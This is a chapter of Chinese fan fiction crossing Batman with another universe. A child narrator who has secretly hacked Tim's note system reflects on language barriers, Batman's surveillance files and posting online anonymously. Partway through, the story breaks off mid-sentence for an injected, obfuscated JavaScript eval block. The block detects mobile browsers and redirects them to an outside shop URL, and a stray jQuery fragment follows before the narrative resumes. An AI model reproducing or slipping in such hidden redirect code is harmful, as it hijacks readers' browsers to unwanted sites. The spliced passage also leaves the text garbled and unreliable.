你躺在床上，身体很僵。不是那种运动过度的酸软，是僵硬。像一根被拧紧的发条，从颈椎往下到脚趾，每一节骨头都被卡在一种不上不下的力度里。你想翻身，但你的身体没有在听你说话。你的手指蜷在被子里，保持着一个握遥控器的姿势，已经握了二十分钟，没有松开过。
［弱不禁风/身体］：小孩。小孩。我觉得不对劲。
［弱不禁风/身体］：我跟你说，我的神经传导好像出了问题。我发出去的命令——抬手指——它没收到。或者收到了没执行。反正我的手现在不是我的。
［谨慎但不多/心眼］：入侵提姆的系统太久。小孩在精神连接里泡了多长时间？两个小时？三个小时？
［这不是个装饰品/大脑］：从凌晨一点零九分到三点四十二分。两小时三十三分钟。中间触发了提姆的九个陷阱系统，绕过了其中十个，找到了有有用信息的那一个笔记记录系统。
［弱不禁风/身体］：我为小孩的成就鼓掌。但现在我的手还动不了。
你尝试动了动食指。食指在被子底下弹了一下，像一条被拍在岸上的鱼。然后是中指，无名指，小拇指。一根一根地复活。脚趾你暂时放弃了，因为太远。你现在的感觉像一个被压在巨石底下的探险家，正在逐一向身体的各个部位喊话，确认它们还活着。
［这不是个装饰品/大脑］：说正事。小孩现在知道了几件事。第一，这里世界很真。第二，布鲁斯·韦恩是蝙蝠侠。第三，这座庄园就是蝙蝠侠的老巢。
［这不是个装饰品/大脑］：真是可喜可贺。
［谨慎但不多/心眼］：可喜可贺。我们被蝙蝠侠捡回了家，睡在蝙蝠侠的客房里，早餐吃的是蝙蝠侠管家做的燕麦粥。而我们这几天还在想着怎么入侵蝙蝠侠的系统。
［这不是个装饰品/大脑］：小孩没有入侵蝙蝠侠的系统。入侵的是提姆的。
［谨慎但不多/心眼］：有区别吗。
［这不是个装饰品/大脑］：有。提姆的系统是套了十层陷阱的个人系统。蝙蝠侠的主系统——根据提姆笔记里的描述——是套了一百层的中央系统。如果小孩先进了蝙蝠主系统，现在就不是手指动不了的问题了。
你的脚趾终于也弹了一下。然后是整只脚。你的身体正在缓慢地恢复对你指令的响应，像一台掉线了很久的机器正在重新握手。你翻了个身，脸埋进枕头里。歪翅膀蝙蝠布偶被你压在脸侧，豆子眼在黑暗里歪歪扭扭地亮着。
你在回想提姆笔记系统里的内容。你看到了很多。大部分内容你的英语水平不足以理解，但［大脑］帮你翻译了关键词。超级反派。超级英雄。变种人。恶魔。天使。你在寰宇里见过更离谱的东西——虚无在星海边缘吞噬恒星的时候。
［这不是个装饰品/大脑］：小孩接受得很快。
［谨慎但不多/心眼］：毕竟大千寰宇有什么都不奇怪。
［这不是个装饰品/大脑］：但有一件事小孩接受不了。
［谨慎但不多/心眼］：语言。
你翻了个身，盯着天花板。深蓝色的，跟你的床单一个颜色。你看不太清天花板的细节，因为离你大概两米半，已经在你的近视视野里化成一团深蓝色的雾了。你的右耳垂上，一枚紫色的耳钉在黑暗里微微发着光。
联觉信标。在寰宇里，大多数人不需要学外语。联觉信标会在你的意识里直接翻译对方的语义，让对方的意思像母语一样流进你脑子里。但它有两个问题。第一，你天生带着一个不可调节的缺陷——你的联觉信标有时会错译。你会说错，也会听错。因为这个，你在天才俱乐部的会议上闹过不少笑话。螺丝咕姆用二进制发言，你的信标把它翻译成了一首押韵的打油诗。黑塔笑了你三天。第二，在这个世界，你联觉信标根本不能用只能考［大脑］们都生译而且你还得为它们采集更多的数据让它们记录推测。
［这不是个装饰品/大脑］：联觉信标只能生翻。翻译的时候可能会有歧义。
［谨慎但不多/心眼］：上次小孩把“晚安”听成“晚班”，差点以为布鲁斯让一个四岁小孩去上夜班。
［问号大王/耳朵］：其实我们也有问题。我听到的英语是英语。大脑翻译出来的汉语是汉语。中间有一层延迟。有时候大脑还没翻完，嘴就已经想回答了。
［这不是个装饰品/大脑］：嘴没有回答。嘴一次都没有犯过错。
［弱不禁风/身体］：因为嘴根本就没张过。
你闭上眼睛，又睁开。提姆的笔记系统摆在那里，你看不懂。不是完全看不懂——你能认出一些单词。Batman。Robin。Gotham。Danger。但连在一起的句子你读不下来。你的英语水平大概相当于这个国家四岁小孩的平均水平，但你的阅读能力还不如四岁。因为你没有在这个世界待过四年。你只有三天。这真的很痛。
不过除了语言之外，你还需要担心另一件事。
提姆笔记系统里的一个条目。大脑帮你翻译了它的标题和关键词。Batman controls everything. 蝙蝠侠掌控一切。大脑说这是翻译问题——controls这个词也可能翻译成“控制”，但在这个语境下更接近“掌控”或者“掌控全局”。但你看完了那条笔记下的子目录，觉得不太像“掌控全局”那么简单。企鹅人、冰山餐厅活动、事件记录、频率分析、干预时机、后续观察。毒藤女、新型幻气、扩散路径、中和方案。小丑、阿卡姆越狱周期、预测模型。每一条都标着日期和分类编号。像一本账本。
［谨慎但不多/心眼］：这是控制狂吧。
［这不是个装饰品/大脑］：根据系统记录，类似的数据结构在蝙蝠主系统里还有更多。罪犯活动、超能力者动向、外星威胁评估、联盟成员状态。他甚至给每个罗宾建了单独的监控档案。健康数据、巡逻时长、战斗表现、心理评估。
［谨慎但不多/心眼］：心理评估？
［这不是个装饰品/大脑］：心理评估。
［谨慎但不多/心眼］：所以他不但监控罪犯，还监控自己人。
你翻了个身，把脸埋进布偶的肚子里。蝙蝠侠是控制狂。这个结论对你来说其实不算什么道德冲击。你在天才俱乐部见过更过分的——黑塔曾经差点把整个空间站的智能咖啡机都接入了她的监控网络，因为有人偷了她的咖啡豆。嗯，对的，就是你。
你打开提姆的笔记系统，翻到分类目录。其实你看不太懂大部分分类名，但大脑帮你翻译了几个。
蝙蝠侠。罗宾。超能力者。新出现的弟弟。神秘黑客（观察中）。你盯着第五个分类看了两眼。
［谨慎但不多/心眼］：“新出现的弟弟”。小孩是这个分类吗。
［这不是个装饰品/大脑］：大概率。条目编号是新的。创建时间应该是我们被带回来的那天晚上。
［谨慎但不多/心眼］：第六个分类呢。“神秘黑客（观察中）”。
［这不是个装饰品/大脑］：Vigil。
［谨慎但不多/心眼］：所以小孩现在有两个分类。一个是弟弟，一个是神秘黑客。提姆还没有把这两个联系起来。
［这不是个装饰品/大脑］：一个四岁的、不会说英语的、连碗都端不稳的小孩，和一只凌晨在网络里出没的黑鸟之间，没有任何可追溯的关联。
［谨慎但不多/心眼］：你确定。
［这不是个装饰品/大脑］：他的系统只能追溯到黑鸟从内部网络发起活动。没有设备痕迹。没有外部IP。没有任何可以定位到物理世界某个人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510723|202984||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身上的证据。
你翻到神秘黑客的分类条目。点开。里面是提姆的记录。你认得一些单词。第一次出现。凌晨两点零九分。图标。守夜人。无恶意。然后是一行更长的句子，你只认出了几个词——“接近”、“观察”、“不要惊动”。再往下是更新的记录。频繁活动。与我互动。画图。问号。咖啡。火柴人。然后是最新的一条。你盯了很久。
“Possible behind: The curious one? Spelling mistakes.”
可能身份：好奇者。拼写错误。
你看着那行字。
［谨慎但不多/心眼］：提姆注意到了拼写错误。
你关掉提姆的笔记系统。你的手指在恢复知觉之后变得有点凉，你把手缩进被子里，攥住布偶的一只翅膀。窗外没有月光。哥谭的夜晚永远是阴天，云层厚得像一块旧棉花，把月亮和星星全部捂在底下。你盯着窗帘缝里漏出来的那一条深灰色，想起提姆笔记里的一句话。你已经太累了，无法再想。但明天你必须开始行动。
网络上关于蝙蝠侠和他的助手无所不知。这个标签不是夸张。提姆的系统记录了你到现在为止无法理解的信息量——每一个罪犯的动向，每一种新出现的威胁，每一次干预的时机和后果。他们收集。分析。归档。不放过任何细节。他们不会放任“未知”的出现。而你是一个“未知”。你不会说英语，不会说话，没有身份，你很危险。
你放弃入侵蝙蝠主系统的想法。不是因为进不去。是因为你不想被打开。你把目光投向网络。
哥谭的夜晚是网民最活跃的时候。这座城市的人睡不着，因为窗外随时会有枪声。睡不着的人在网上发泄、八卦、写很长的帖子，关于蝙蝠侠今晚又在哪里出现了。你匿名注册了一个账号。注册过程很简单。用户名你随便敲了几个字母，系统自动生成了一串乱码。头像你没有换。个人简介你留了空白。
你发了一条帖子。很短。三个单词。
Gotham, history, force
哥谭，历史，势力。
你希望用这三个词作为支点，撬开这座城市的缝隙。你不知道谁会回答。但你需要一个起点。
［谨慎但不多/心眼］：这三个单词连在一起，看起来像一个外国特工在收集情报。
［这不是个装饰品/大脑］：小孩本来就是“外国特工”。从寰宇来的那种。
［谨慎但不多/心眼］：你觉得会有人回复吗。
［这不是个装饰品/大脑］：会。哥谭人看到这种帖子，要么觉得你是外地来的疯子，要么觉得你是外地来的间谍。不管哪种，他们都会回复。疯子他们会嘲讽。间谍他们会警惕。哥谭人最擅长的事，就是在恐惧面前张开嘴。
你把手机放在床头柜上。屏幕暗下去，又亮起来——一条推送，来自你刚发的帖子。有人回复了。你没有看。你的手指还处于半僵硬状态，抬起来费劲。而且你太困了。
［弱不禁风/身体］：睡。现在就睡。我的神经末梢还在跳踢踏舞。再不睡明天连粥碗都端不起来。
你把脸埋进布偶的肚子里。布偶的绒布被你呼出的热气捂暖了一小片。歪翅膀今天被提姆掰正了，两只豆子眼终于看向同一个方向。
［大脑］安静下来。
明天你会看回复。明天你会开始了解这座城市。明天你会继续假装一个不会说话的、安安静静的、抱着蝙蝠布偶的普通小孩。
你把头埋进枕头，闭上眼睛。耳边仿佛又响起提姆笔记里的那句话。
Batman controls everything.
一个控制狂蝙蝠侠正在屋顶上看着哥谭。
你会逃脱他的注视吗？